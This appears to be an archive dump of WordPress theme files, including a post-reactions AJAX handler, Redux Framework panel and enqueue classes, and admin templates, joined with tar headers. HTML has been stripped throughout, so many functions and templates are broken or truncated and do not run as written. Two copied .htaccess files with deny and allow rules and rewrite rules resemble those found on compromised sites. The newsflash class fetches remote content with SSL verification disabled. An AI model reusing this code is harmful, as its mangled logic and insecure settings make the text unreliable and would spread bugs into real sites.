wp_send_json( '', null ); } $current_user = get_current_user_id(); if ( ! empty( $current_user ) ) { $user_ip = $current_user; } else { $user_ip = $this->get_ip(); } $uid = esc_attr( $_POST['uid'] ); $reaction = esc_attr( $_POST['reaction'] ); $push = esc_attr( $_POST['push'] ); $data = get_post_meta( $uid, 'ruby_reactions', true ); if ( ! is_array( $data ) ) { $data = array(); } if ( ! is_array( $data[ $reaction ] ) ) { $data[ $reaction ] = array(); } if ( $push > 0 ) { $data[ $reaction ][] = $user_ip; $data[ $reaction ] = array_unique( $data[ $reaction ] ); } else { if ( ( $key = array_search( $user_ip, $data[ $reaction ] ) ) !== false ) { unset( $data[ $reaction ][ $key ] ); } } update_post_meta( $uid, 'ruby_reactions', $data ); wp_send_json( true, null ); } /** * load reactions */ function get_reactions() { if ( empty( $_POST['uid'] ) ) { wp_send_json( '', null ); } $current_user = get_current_user_id(); if ( ! empty( $current_user ) ) { $user_ip = $current_user; } else { $user_ip = $this->get_ip(); } $uid = esc_attr( $_POST['uid'] ); $data = get_post_meta( $uid, 'ruby_reactions', true ); $response = array(); if ( is_array( $data ) ) { foreach ( $data as $reaction => $stored_data ) { if ( in_array( $user_ip, $stored_data ) ) { array_push( $response, $reaction ); continue; } } } wp_send_json( $response, null ); } /** * @param $reaction * @param $post_id * * @return int * count reactions */ function count_reaction( $reaction, $post_id ) { $data = get_post_meta( $post_id, 'ruby_reactions', true ); if ( ! empty( $data[ $reaction ] ) ) { return count( $data[ $reaction ] ); } else { return 0; } } /** * @param $attrs * * @return false|string * render reactions */ function render( $attrs ) { if ( $this->is_amp() ) { return false; } $attrs = shortcode_atts( array( 'id' => '', ), $attrs ); $post_id = $attrs['id']; if ( empty( $post_id ) ) { $post_id = get_the_ID(); } if ( empty( $post_id ) ) { return false; } $this->enqueue_scripts(); $output = ''; $reactions = $this->get_settings(); if ( is_array( $reactions ) && count( $reactions ) ) { $output .= ''; } return $output; } /** * @param $icon * * @return false|string * get svg */ public function get_svg( $icon ) { if ( function_exists( 'foxiz_get_svg' ) ) { return foxiz_get_svg( $icon, '', 'reaction' ); } return false; } /** * @return false|mixed|void * get settings */ public function get_settings() { if ( ! function_exists( 'foxiz_get_option' ) ) { return false; } $settings = array(); $reactions = foxiz_get_option( 'reaction_items' ); if ( isset( $reactions['enabled']['placebo'] ) ) { unset( $reactions['enabled']['placebo'] ); } if ( empty( $reactions['enabled'] ) || ! is_array( $reactions['enabled'] ) ) { return false; } foreach ( array_keys( $reactions['enabled'] ) as $reaction ) { if ( isset( $this->defaults[ $reaction ] ) ) { array_push( $settings, $this->defaults[ $reaction ] ); } } return apply_filters( 'ruby_reactions', $settings ); } } }reaction/.htaccess000064400000001626147206624460010166 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/core/required.php000064400000000616147206624460013733 0ustar00parent = $parent; Redux_Functions::$_parent = $parent; /** * action 'redux/page/{opt_name}/' */ do_action( "redux/page/{$parent->args['opt_name']}/" ); } } }lib/redux-framework/core/panel.php000064400000034660147206624460013220 0ustar00parent = $parent; Redux_Functions::$_parent = $parent; $this->template_path = $this->original_path = ReduxFramework::$_dir . 'templates/panel/'; if ( ! empty( $this->parent->args['templates_path'] ) ) { $this->template_path = trailingslashit( $this->parent->args['templates_path'] ); } $this->template_path = trailingslashit( apply_filters( "redux/{$this->parent->args['opt_name']}/panel/templates_path", $this->template_path ) ); } public function init() { $this->panel_template(); } /** * Loads the panel templates where needed and provides the container for Redux */ private function panel_template() { if ( $this->parent->args['dev_mode'] ) { $this->template_file_check_notice(); } /** * action 'redux/{opt_name}/panel/before' */ do_action( "redux/{$this->parent->args['opt_name']}/panel/before" ); echo '

'; // Stupid hack for Wordpress alerts and warnings echo '
'; echo '
'; // Do we support JS? echo ''; // Security is vital! echo ''; /** * action 'redux-page-before-form-{opt_name}' * * @deprecated */ do_action( "redux-page-before-form-{$this->parent->args['opt_name']}" ); // Remove /** * action 'redux/page/{opt_name}/form/before' * * @param object $this ReduxFramework */ do_action( "redux/page/{$this->parent->args['opt_name']}/form/before", $this ); $this->get_template( 'container.tpl.php' ); /** * action 'redux-page-after-form-{opt_name}' * * @deprecated */ do_action( "redux-page-after-form-{$this->parent->args['opt_name']}" ); // REMOVE /** * action 'redux/page/{opt_name}/form/after' * * @param object $this ReduxFramework */ do_action( "redux/page/{$this->parent->args['opt_name']}/form/after", $this ); echo '
'; echo '
'; if ( $this->parent->args['dev_mode'] == true ) { // if ( current_user_can( 'administrator' ) ) { // global $wpdb; // echo "
";
//                        print_r( $wpdb->queries );
//                        echo "
"; // } echo '
' . get_num_queries() . ' queries in ' . timer_stop( 0 ) . ' seconds
Redux is currently set to developer mode.
'; } /** * action 'redux/{opt_name}/panel/after' */ do_action( "redux/{$this->parent->args['opt_name']}/panel/after" ); } /** * Calls the various notification bars and sets the appropriate templates. */ function notification_bar() { if ( isset( $this->parent->transients['last_save_mode'] ) ) { if ( $this->parent->transients['last_save_mode'] == "import" ) { /** * action 'redux/options/{opt_name}/import' * * @param object $this ReduxFramework */ do_action( "redux/options/{$this->parent->args['opt_name']}/import", $this, $this->parent->transients['changed_values'] ); /** * filter 'redux-imported-text-{opt_name}' * * @param string translated "settings imported" text */ echo '
' . apply_filters( "redux-imported-text-{$this->parent->args['opt_name']}", __( 'Settings Imported!', 'redux-framework' ) ) . '
'; //exit(); } else if ( $this->parent->transients['last_save_mode'] == "defaults" ) { /** * action 'redux/options/{opt_name}/reset' * * @param object $this ReduxFramework */ do_action( "redux/options/{$this->parent->args['opt_name']}/reset", $this ); /** * filter 'redux-defaults-text-{opt_name}' * * @param string translated "settings imported" text */ echo '
' . apply_filters( "redux-defaults-text-{$this->parent->args['opt_name']}", __( 'All Defaults Restored!', 'redux-framework' ) ) . '
'; } else if ( $this->parent->transients['last_save_mode'] == "defaults_section" ) { /** * action 'redux/options/{opt_name}/section/reset' * * @param object $this ReduxFramework */ do_action( "redux/options/{$this->parent->args['opt_name']}/section/reset", $this ); /** * filter 'redux-defaults-section-text-{opt_name}' * * @param string translated "settings imported" text */ echo '
' . apply_filters( "redux-defaults-section-text-{$this->parent->args['opt_name']}", __( 'Section Defaults Restored!', 'redux-framework' ) ) . '
'; } else if ( $this->parent->transients['last_save_mode'] == "normal" ) { /** * action 'redux/options/{opt_name}/saved' * * @param mixed $value set/saved option value */ do_action( "redux/options/{$this->parent->args['opt_name']}/saved", $this->parent->options, $this->parent->transients['changed_values'] ); /** * filter 'redux-saved-text-{opt_name}' * * @param string translated "settings saved" text */ echo '
' . apply_filters( "redux-saved-text-{$this->parent->args['opt_name']}", ''.__( 'Settings Saved!', 'redux-framework' ) ).'' . '
'; } unset( $this->parent->transients['last_save_mode'] ); //$this->parent->transients['last_save_mode'] = 'remove'; $this->parent->set_transients(); } /** * action 'redux/options/{opt_name}/settings/changes' * * @param mixed $value set/saved option value */ do_action( "redux/options/{$this->parent->args['opt_name']}/settings/change", $this->parent->options, $this->parent->transients['changed_values'] ); /** * filter 'redux-changed-text-{opt_name}' * * @param string translated "settings have changed" text */ echo '
' . apply_filters( "redux-changed-text-{$this->parent->args['opt_name']}", __( 'Settings have changed, you should save them!', 'redux-framework' ) ) . '
'; /** * action 'redux/options/{opt_name}/errors' * * @param array $this ->errors error information */ do_action( "redux/options/{$this->parent->args['opt_name']}/errors", $this->parent->errors ); echo '
' . __( 'error(s) were found!', 'redux-framework' ) . '
'; /** * action 'redux/options/{opt_name}/warnings' * * @param array $this ->warnings warning information */ do_action( "redux/options/{$this->parent->args['opt_name']}/warnings", $this->parent->warnings ); echo '
' . __( 'warning(s) were found!', 'redux-framework' ) . '
'; } /** * Used to intitialize the settings fields for this panel. Required for saving and redirect. */ function init_settings_fields() { // Must run or the page won't redirect properly settings_fields( "{$this->parent->args['opt_name']}_group" ); } /** * Used to select the proper template. If it doesn't exist in the path, then the original template file is used. * * @param $file */ function get_template( $file ) { if ( empty( $file ) ) { return; } if ( file_exists( $this->template_path . $file ) ) { $path = $this->template_path . $file; } else { $path = $this->original_path . $file; } do_action( "redux/{$this->parent->args['opt_name']}/panel/template/" . $file . '/before' ); $path = apply_filters( "redux/{$this->parent->args['opt_name']}/panel/template/" . $file, $path ); do_action( "redux/{$this->parent->args['opt_name']}/panel/template/" . $file . '/after' ); require $path; } /** * Scan the template files * * @param string $template_path * * @return array */ public function scan_template_files( $template_path ) { $files = scandir( $template_path ); $result = array(); if ( $files ) { foreach ( $files as $key => $value ) { if ( ! in_array( $value, array( ".", ".." ) ) ) { if ( is_dir( $template_path . DIRECTORY_SEPARATOR . $value ) ) { $sub_files = self::scan_template_files( $template_path . DIRECTORY_SEPARATOR . $value ); foreach ( $sub_files as $sub_file ) { $result[] = $value . DIRECTORY_SEPARATOR . $sub_file; } } else { $result[] = $value; } } } } return $result; } /** * Show a notice highlighting bad template files */ public function template_file_check_notice() { if ( $this->template_path == $this->original_path ) { return; } $core_templates = $this->scan_template_files( $this->original_path ); $outdated = false; foreach ( $core_templates as $file ) { $developer_theme_file = false; if ( file_exists( $this->template_path . $file ) ) { $developer_theme_file = $this->template_path . $file; } if ( $developer_theme_file ) { $core_version = Redux_Helpers::get_template_version( $this->original_path . $file ); $developer_version = Redux_Helpers::get_template_version( $developer_theme_file ); if ( $core_version && $developer_version && version_compare( $developer_version, $core_version, '<' ) ) { ?>

Your panel has bundled outdated copies of Redux Framework template files – if you encounter functionality issues this could be the reason. Ensure you update or remove them.', 'redux-framework' ); ?>

parent->args['opt_name'] . $k . '_section_group' ); } } }lib/redux-framework/core/enqueue.php000064400000055726147206624460013576 0ustar00parent = $parent; Redux_Functions::$_parent = $parent; } public function init() { $this->min = Redux_Functions::isMin(); $this->timestamp = ReduxFramework::$_version; if ( $this->parent->args['dev_mode'] ) { $this->timestamp .= '.' . time(); } $this->register_styles(); $this->register_scripts(); add_thickbox(); $this->enqueue_fields(); add_filter("redux/{$this->parent->args['opt_name']}/localize", array('Redux_Helpers', 'localize')); $this->set_localized_data(); /** * action 'redux-enqueue-{opt_name}' * * @deprecated * * @param object $this ReduxFramework */ do_action( "redux-enqueue-{$this->parent->args['opt_name']}", $this->parent ); // REMOVE /** * action 'redux/page/{opt_name}/enqueue' */ do_action( "redux/page/{$this->parent->args['opt_name']}/enqueue" ); } private function register_styles() { //***************************************************************** // Redux Admin CSS //***************************************************************** wp_enqueue_style( 'redux-admin-css', ReduxFramework::$_url . 'assets/css/redux-admin.css', array(), $this->timestamp, 'all' ); //***************************************************************** // Redux Fields CSS //***************************************************************** if ( ! $this->parent->args['dev_mode'] ) { wp_enqueue_style( 'redux-fields-css', ReduxFramework::$_url . 'assets/css/redux-fields.css', array(), $this->timestamp, 'all' ); } //***************************************************************** // Select2 CSS //***************************************************************** Redux_CDN::register_style( 'select2-css', '//cdn.jsdelivr.net/select2/3.5.2/select2.css', array(), '3.5.2',//$this->timestamp, 'all' ); //***************************************************************** // Spectrum CSS //***************************************************************** //$css_file = 'redux-spectrum.min.css'; //if ($this->parent->args['dev_mode']) { $css_file = 'redux-spectrum.css'; //} wp_register_style( 'redux-spectrum-css', ReduxFramework::$_url . 'assets/css/vendor/spectrum/' . $css_file, array(), '1.3.3', 'all' ); //***************************************************************** // Elusive Icon CSS //***************************************************************** wp_enqueue_style( 'redux-elusive-icon', ReduxFramework::$_url . 'assets/css/vendor/elusive-icons/elusive-icons.css', array(), $this->timestamp, 'all' ); //***************************************************************** // QTip CSS //***************************************************************** $css_file = 'jquery.qtip.min.css'; if ($this->parent->args['dev_mode']) { $css_file = 'jquery.qtip.css'; } wp_enqueue_style( 'qtip-css', ReduxFramework::$_url . 'assets/css/vendor/qtip/' . $css_file, array(), '2.2.0', 'all' ); //***************************************************************** // JQuery UI CSS //***************************************************************** wp_enqueue_style( 'jquery-ui-css', apply_filters( "redux/page/{$this->parent->args['opt_name']}/enqueue/jquery-ui-css", ReduxFramework::$_url . 'assets/css/vendor/jquery-ui-bootstrap/jquery-ui-1.10.0.custom.css' ), array(), $this->timestamp, 'all' ); //***************************************************************** // Iris CSS //***************************************************************** wp_enqueue_style( 'wp-color-picker' ); if ( $this->parent->args['dev_mode'] ) { //***************************************************************** // Color Picker CSS //***************************************************************** wp_register_style( 'redux-color-picker-css', ReduxFramework::$_url . 'assets/css/color-picker/color-picker.css', array( 'wp-color-picker' ), $this->timestamp, 'all' ); //***************************************************************** // Media CSS //***************************************************************** wp_enqueue_style( 'redux-field-media-css', ReduxFramework::$_url . 'assets/css/media/media.css', array(), time(), 'all' ); } //***************************************************************** // RTL CSS //***************************************************************** if ( is_rtl() ) { wp_enqueue_style( 'redux-rtl-css', ReduxFramework::$_url . 'assets/css/rtl.css', array( 'redux-admin-css' ), $this->timestamp, 'all' ); } } private function register_scripts() { //***************************************************************** // JQuery / JQuery UI JS //***************************************************************** wp_enqueue_script( 'jquery' ); wp_enqueue_script( 'jquery-ui-core' ); wp_enqueue_script( 'jquery-ui-dialog' ); //***************************************************************** // Select2 Sortable JS //***************************************************************** wp_register_script( 'redux-select2-sortable-js', ReduxFramework::$_url . 'assets/js/vendor/redux.select2.sortable' . $this->min . '.js', array( 'jquery', 'jquery-ui-sortable' ), $this->timestamp, true ); //***************************************************************** // Select2 JS //***************************************************************** // JWp6 plugin giving us problems. They need to update. if ( wp_script_is ( 'jquerySelect2' )) { wp_deregister_script( 'jquerySelect2' ); wp_dequeue_script('jquerySelect2'); wp_dequeue_style('jquerySelect2Style'); } Redux_CDN::register_script( 'select2-js', '//cdn.jsdelivr.net/select2/3.5.2/select2' . $this->min . '.js', array( 'jquery', 'redux-select2-sortable-js' ), '3.5.2', true ); //***************************************************************** // QTip JS //***************************************************************** $js_file = 'jquery.qtip.min.js'; if ($this->parent->args['dev_mode']) { $js_file = 'jquery.qtip.js'; } wp_enqueue_script( 'qtip-js', ReduxFramework::$_url . 'assets/js/vendor/qtip/' . $js_file, array( 'jquery' ), '2.2.0', true ); //***************************************************************** // Spectrum JS //***************************************************************** $js_file = 'redux-spectrum.min.js'; if ($this->parent->args['dev_mode']) { $js_file = 'redux-spectrum.js'; } wp_register_script( 'redux-spectrum-js', ReduxFramework::$_url . 'assets/js/vendor/spectrum/' . $js_file, array( 'jquery' ), '1.3.3', true ); $depArray = array( 'jquery' ); //***************************************************************** // Vendor JS //***************************************************************** wp_register_script( 'redux-vendor', ReduxFramework::$_url . 'assets/js/vendor.min.js', array( 'jquery' ), $this->timestamp, true ); array_push( $depArray, 'redux-vendor' ); //***************************************************************** // Redux JS //***************************************************************** wp_register_script( 'redux-js', ReduxFramework::$_url . 'assets/js/redux' . $this->min . '.js', $depArray, $this->timestamp, true ); wp_enqueue_script( 'webfontloader', 'https://ajax.googleapis.com/ajax/libs/webfont/1.5.0/webfont.js', array( 'jquery' ), '1.5.0', true ); } public function _enqueue_field($field) { // TODO AFTER GROUP WORKS - Revert IF below // if( isset( $field['type'] ) && $field['type'] != 'callback' ) { if ( isset( $field['type'] ) && $field['type'] != 'callback' ) { $field_class = 'ReduxFramework_' . $field['type']; /** * Field class file * filter 'redux/{opt_name}/field/class/{field.type} * * @param string field class file path * @param array $field field config data */ $class_file = apply_filters( "redux/{$this->parent->args['opt_name']}/field/class/{$field['type']}", ReduxFramework::$_dir . "inc/fields/{$field['type']}/field_{$field['type']}.php", $field ); if ( $class_file ) { if ( ! class_exists( $field_class ) ) { if ( file_exists( $class_file ) ) { require_once $class_file; } } if ( ( method_exists( $field_class, 'enqueue' ) ) || method_exists( $field_class, 'localize' ) ) { if ( ! isset( $this->parent->options[ $field['id'] ] ) ) { $this->parent->options[ $field['id'] ] = ""; } $theField = new $field_class( $field, $this->parent->options[ $field['id'] ], $this->parent ); // Move dev_mode check to a new if/then block if ( ! wp_script_is( 'redux-field-' . $field['type'] . '-js', 'enqueued' ) && class_exists( $field_class ) && method_exists( $field_class, 'enqueue' ) ) { $theField->enqueue(); } if ( method_exists( $field_class, 'localize' ) ) { $params = $theField->localize( $field ); if ( ! isset( $this->parent->localize_data[ $field['type'] ] ) ) { $this->parent->localize_data[ $field['type'] ] = array(); } $this->parent->localize_data[ $field['type'] ][ $field['id'] ] = $theField->localize( $field ); } unset( $theField ); } } } } private function enqueue_fields() { foreach ( $this->parent->sections as $section ) { if ( isset( $section['fields'] ) ) { foreach ( $section['fields'] as $field ) { $this->_enqueue_field( $field ); } } } } public function get_warnings_and_errors_array() { // Construct the errors array. if ( isset( $this->parent->transients['last_save_mode'] ) && ! empty( $this->parent->transients['notices']['errors'] ) ) { $theTotal = 0; $theErrors = array(); foreach ( $this->parent->transients['notices']['errors'] as $error ) { $theErrors[ $error['section_id'] ]['errors'][] = $error; if ( ! isset( $theErrors[ $error['section_id'] ]['total'] ) ) { $theErrors[ $error['section_id'] ]['total'] = 0; } $theErrors[ $error['section_id'] ]['total'] ++; $theTotal ++; } $this->parent->localize_data['errors'] = array( 'total' => $theTotal, 'errors' => $theErrors ); unset( $this->parent->transients['notices']['errors'] ); } // Construct the warnings array. if ( isset( $this->parent->transients['last_save_mode'] ) && ! empty( $this->parent->transients['notices']['warnings'] ) ) { $theTotal = 0; $theWarnings = array(); foreach ( $this->parent->transients['notices']['warnings'] as $warning ) { $theWarnings[ $warning['section_id'] ]['warnings'][] = $warning; if ( ! isset( $theWarnings[ $warning['section_id'] ]['total'] ) ) { $theWarnings[ $warning['section_id'] ]['total'] = 0; } $theWarnings[ $warning['section_id'] ]['total'] ++; $theTotal ++; } unset( $this->parent->transients['notices']['warnings'] ); $this->parent->localize_data['warnings'] = array( 'total' => $theTotal, 'warnings' => $theWarnings ); } if ( empty( $this->parent->transients['notices'] ) ) { unset( $this->parent->transients['notices'] ); } } private function set_localized_data() { if (!empty($this->parent->args['last_tab'])) { $this->parent->localize_data['last_tab'] = $this->parent->args['last_tab']; } $this->parent->localize_data['required'] = $this->parent->required; $this->parent->localize_data['fonts'] = $this->parent->fonts; $this->parent->localize_data['required_child'] = $this->parent->required_child; $this->parent->localize_data['fields'] = $this->parent->fields; if ( isset( $this->parent->font_groups['google'] ) ) { $this->parent->localize_data['googlefonts'] = $this->parent->font_groups['google']; } if ( isset( $this->parent->font_groups['std'] ) ) { $this->parent->localize_data['stdfonts'] = $this->parent->font_groups['std']; } if ( isset( $this->parent->font_groups['customfonts'] ) ) { $this->parent->localize_data['customfonts'] = $this->parent->font_groups['customfonts']; } $this->parent->localize_data['folds'] = $this->parent->folds; // Make sure the children are all hidden properly. foreach ( $this->parent->fields as $key => $value ) { if ( in_array( $key, $this->parent->fieldsHidden ) ) { foreach ( $value as $k => $v ) { if ( ! in_array( $k, $this->parent->fieldsHidden ) ) { $this->parent->fieldsHidden[] = $k; $this->parent->folds[ $k ] = "hide"; } } } } $this->parent->localize_data['fieldsHidden'] = $this->parent->fieldsHidden; $this->parent->localize_data['options'] = $this->parent->options; $this->parent->localize_data['defaults'] = $this->parent->options_defaults; /** * Save pending string * filter 'redux/{opt_name}/localize/save_pending * * @param string save_pending string */ $save_pending = apply_filters( "redux/{$this->parent->args['opt_name']}/localize/save_pending", __( 'You have changes that are not saved. Would you like to save them now?', 'redux-framework' ) ); /** * Reset all string * filter 'redux/{opt_name}/localize/reset * * @param string reset all string */ $reset_all = apply_filters( "redux/{$this->parent->args['opt_name']}/localize/reset", __( 'Are you sure? Resetting will lose all custom values.', 'redux-framework' ) ); /** * Reset section string * filter 'redux/{opt_name}/localize/reset_section * * @param string reset section string */ $reset_section = apply_filters( "redux/{$this->parent->args['opt_name']}/localize/reset_section", __( 'Are you sure? Resetting will lose all custom values in this section.', 'redux-framework' ) ); /** * Preset confirm string * filter 'redux/{opt_name}/localize/preset * * @param string preset confirm string */ $preset_confirm = apply_filters( "redux/{$this->parent->args['opt_name']}/localize/preset", __( 'Your current options will be replaced with the values of this preset. Would you like to proceed?', 'redux-framework' ) ); /** * Import confirm string * filter 'redux/{opt_name}/localize/import * * @param string import confirm string */ $import_confirm = apply_filters( "redux/{$this->parent->args['opt_name']}/localize/import", __( 'Your current options will be replaced with the values of this import. Would you like to proceed?', 'redux-framework' ) ); global $pagenow; $this->parent->localize_data['args'] = array( 'save_pending' => $save_pending, 'reset_confirm' => $reset_all, 'reset_section_confirm' => $reset_section, 'import_section_confirm' => $import_confirm, 'preset_confirm' => $preset_confirm, 'please_wait' => __( 'Please Wait', 'redux-framework' ), 'opt_name' => $this->parent->args['opt_name'], 'slug' => $this->parent->args['page_slug'], 'hints' => $this->parent->args['hints'], 'disable_save_warn' => $this->parent->args['disable_save_warn'], 'class' => $this->parent->args['class'], 'ajax_save' => $this->parent->args['ajax_save'], 'menu_search' => $pagenow . '?page=' . $this->parent->args['page_slug'] . "&tab=" ); $this->parent->localize_data['ajax'] = array( 'console' => __( 'There was an error saving. Here is the result of your action:', 'redux-framework' ), 'alert' => __( 'There was a problem with your action. Please try again or reload the page.', 'redux-framework' ), ); $this->parent->localize_data = apply_filters( "redux/{$this->parent->args['opt_name']}/localize", $this->parent->localize_data ); $this->get_warnings_and_errors_array(); wp_localize_script( 'redux-js', 'redux', $this->parent->localize_data ); wp_enqueue_script( 'redux-js' ); // Enque the JS now } } }lib/redux-framework/core/dashboard.php000064400000002345147206624460014043 0ustar00args['opt_name'] ); add_action('wp_dashboard_setup', array($this, $fname)); } public function add_redux_dashboard() { add_meta_box('redux_dashboard_widget', 'Redux Framework News', array($this,'redux_dashboard_widget'), 'dashboard', 'side', 'high'); } public function dat() { return; } public function redux_dashboard_widget() { echo '
'; wp_widget_rss_output(array( 'url' => 'http://reduxframework.com/feed/', 'title' => 'REDUX_NEWS', 'items' => 3, 'show_summary' => 1, 'show_author' => 0, 'show_date' => 1 )); echo '
'; } } } lib/redux-framework/core/newsflash.php000064400000012053147206624460014103 0ustar00parent = $parent; if ( ! is_admin() ) { return; } $this->server_file = $params['server_file']; $this->interval = isset( $params['interval'] ) ? $params['interval'] : 3; $this->cookie_id = isset( $params['cookie_id'] ) ? $params['cookie_id'] : $parent->args['opt_name'] . '_blast'; $this->notice_data = get_option( 'r_notice_data', '' ); $fname = Redux_Functions::bub( 'get_notice_json', $parent->args['opt_name'] ); $mname = Redux_Functions::yo( 'display_message', $parent->args['opt_name'] ); // if notice data is empty if ( empty( $this->notice_data ) ) { // get notice data from server and create cache data $this->$fname(); } else { // check expiry time if ( ! isset( $_COOKIE[ $this->cookie_id ] ) ) { // expired! get notice data from server $this->$fname(); } } // set the admin notice msg $this->$mname(); } private function bub() { $this->notice_data = ''; } private function get_notice_json() { // get notice data from server $data = @wp_remote_get( $this->server_file, array( 'sslverify' => false ) ); if ( isset( $data ) && ! empty( $data ) && ! is_wp_error( $data ) && $data['response']['code'] == 200 ) { $data = $data['body']; // if some data exists if ( $data != '' || ! empty( $data ) ) { if ( ! empty( $this->notice_data ) ) { if ( strcmp( $data, $this->notice_data ) == 0 ) { // set new cookie for interval value Redux_Functions::setCookie( $this->cookie_id, time(), time() + ( 86400 * $this->interval ), '/' ); // bail out return; } } update_option( 'r_notice_data', $data ); $this->notice_data = $data; // set cookie for three day expiry setcookie( $this->cookie_id, time(), time() + ( 86400 * $this->interval ), '/' ); // set unique key for dismiss meta key update_option( $this->cookie_id, time() ); } } } private function display_message() { // Notice data exists? if ( ! empty( $this->notice_data ) ) { // decode json string $data = (Array) json_decode( $this->notice_data ); // must be array and not empty if ( is_array( $data ) && ! empty( $data ) ) { // No message means nothing to display. if ( ! isset( $data['message'] ) || $data['message'] == '' || empty( $data['message'] ) ) { return; } // validate data $data['type'] = isset( $data['type'] ) && $data['type'] != '' ? $data['type'] : 'updated'; $data['title'] = isset( $data['title'] ) && $data['title'] != '' ? $data['title'] : ''; if ( $data['type'] == 'redux-message' ) { $data['type'] = 'updated redux-message'; } $data['color'] = isset( $data['color'] ) ? $data['color'] : '#00A2E3'; // get unique meta key $key = get_option( $this->cookie_id ); $notice_data = array( 'parent' => $this->parent, 'type' => $data['type'], 'msg' => $data['title'] . $data['message'], 'id' => $this->cookie_id . '_' . $key, 'dismiss' => true, 'color' => $data['color'] ); Redux_Admin_Notices::set_notice($notice_data); } } } } } lib/redux-framework/core/.htaccess000064400000001626147206624460013202 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/templates/panel/header_stickybar.tpl.php000064400000003414147206624460020360 0ustar00
parent->args['hide_expand'] ? ' style="display: none;"' : '' ?>>
parent->args['hide_save'] ) { submit_button( esc_attr__( 'Save Changes', 'redux-framework' ), 'primary', 'redux_save_sticky', false ); echo ' '; } if ( false === $this->parent->args['hide_reset'] ) { submit_button( esc_attr__( 'Reset Section', 'redux-framework' ), 'secondary', $this->parent->args['opt_name'] . '[defaults-section]', false, array( 'id' => 'redux-defaults-section-sticky' ) ); echo ' '; submit_button( esc_attr__( 'Reset All', 'redux-framework' ), 'secondary', $this->parent->args['opt_name'] . '[defaults]', false, array( 'id' => 'redux-defaults-sticky' ) ); } ?>
 
notification_bar(); ?>
lib/redux-framework/templates/panel/header.tpl.php000064400000006477147206624460016321 0ustar00parent->dev_mode_forced ) { $is_debug = false; $is_localhost = false; $debug_bit = ''; if ( Redux_Helpers::isWpDebug() ) { $is_debug = true; $debug_bit = __( 'WP_DEBUG is enabled', 'redux-framework' ); } $localhost_bit = ''; if ( Redux_Helpers::isLocalHost() ) { $is_localhost = true; $localhost_bit = __( 'you are working in a localhost environment', 'redux-framework' ); } $conjunction_bit = ''; if ( $is_localhost && $is_debug ) { $conjunction_bit = ' ' . __( 'and', 'redux-framework' ) . ' '; } $tip_msg = __( 'This has been automatically enabled because', 'redux-framework' ) . ' ' . $debug_bit . $conjunction_bit . $localhost_bit . '.'; } else { $tip_msg = __( 'If you are not a developer, your theme/plugin author shipped with developer mode enabled. Contact them directly to fix it.', 'redux-framework' ); } ?>
parent->args['display_name'] ) ) { ?>
parent->args['dev_mode'] ) && $this->parent->args['dev_mode'] ) { ?>
parent->args['forced_dev_mode_off']) && $this->parent->args['forced_dev_mode_off'] == true ) { ?>

parent->args['display_name'] ); ?>

parent->args['display_version'] ) ) { ?> parent->args['display_version'] ); ?>
lib/redux-framework/templates/panel/content.tpl.php000064400000007176147206624460016540 0ustar00 get_template( 'header.tpl.php' ); ?> parent->args['intro_text'] ) ) { ?>
parent->args['intro_text'] ); ?>
get_template( 'menu_container.tpl.php' ); ?>
get_template( 'header_stickybar.tpl.php' ); ?>
 
parent->sections as $k => $section) { if ( isset( $section['customizer_only'] ) && $section['customizer_only'] == true ) { continue; } //$active = ( ( is_numeric($this->parent->current_tab) && $this->parent->current_tab == $k ) || ( !is_numeric($this->parent->current_tab) && $this->parent->current_tab === $k ) ) ? ' style="display: block;"' : ''; $section['class'] = isset( $section['class'] ) ? ' ' . $section['class'] : ''; echo '
'; //echo '
'; echo ''; foreach ($section['tab'] as $subkey => $subsection) { echo '
'; echo '
'; echo "hello ".$subkey; do_settings_sections( $this->parent->args['opt_name'] . $k . '_tab_' . $subkey . '_section_group' ); echo "
"; echo "
"; } echo "
"; } else { */ // Don't display in the $display = true; if ( isset( $_GET['page'] ) && $_GET['page'] == $this->parent->args['page_slug'] ) { if ( isset( $section['panel'] ) && $section['panel'] == "false" ) { $display = false; } } if ( $display ) { do_action( "redux/page/{$this->parent->args['opt_name']}/section/before", $section ); $this->output_section( $k ); do_action( "redux/page/{$this->parent->args['opt_name']}/section/after", $section ); } //} ?>
'; } /** * action 'redux/page-after-sections-{opt_name}' * * @deprecated * * @param object $this ReduxFramework */ do_action( "redux/page-after-sections-{$this->parent->args['opt_name']}", $this ); // REMOVE LATER /** * action 'redux/page/{opt_name}/sections/after' * * @param object $this ReduxFramework */ do_action( "redux/page/{$this->parent->args['opt_name']}/sections/after", $this ); ?>
get_template( 'footer.tpl.php' ); ?>
lib/redux-framework/templates/panel/container.tpl.php000064400000005611147206624460017040 0ustar00parent->args['open_expanded'] ) ? ' fully-expanded' : '' . ( ! empty( $this->parent->args['class'] ) ? ' ' . esc_attr( $this->parent->args['class'] ) : '' ); $nonce = wp_create_nonce( "redux_ajax_nonce" . $this->parent->args['opt_name'] ); ?>
parent->args['database'] == "network" && $this->parent->args['network_admin'] && is_network_admin() ? './edit.php?action=redux_' . $this->parent->args['opt_name'] : './options.php' ) ?>
parent->args['opt_name'] is sanitized in the Framework class, no need to re-sanitize it. ?> parent->args['opt_name'] is sanitized in the Framework class, no need to re-sanitize it. ?> parent->args['opt_name'] is sanitized in the Framework class, no need to re-sanitize it. ?> parent->no_panel ) ) { ?> init_settings_fields(); // Last tab? $this->parent->options['last_tab'] = ( isset( $_GET['tab'] ) && ! isset( $this->parent->transients['last_save_mode'] ) ) ? esc_attr( $_GET['tab'] ) : ''; ?> parent->args['opt_name'] is sanitized in the Framework class, no need to re-sanitize it. ?> get_template( 'content.tpl.php' ); ?>
parent->args['footer_text'] ) ) { ?> lib/redux-framework/templates/panel/footer.tpl.php000064400000005640147206624460016356 0ustar00 lib/redux-framework/templates/panel/menu_container.tpl.php000064400000002760147206624460020066 0ustar00
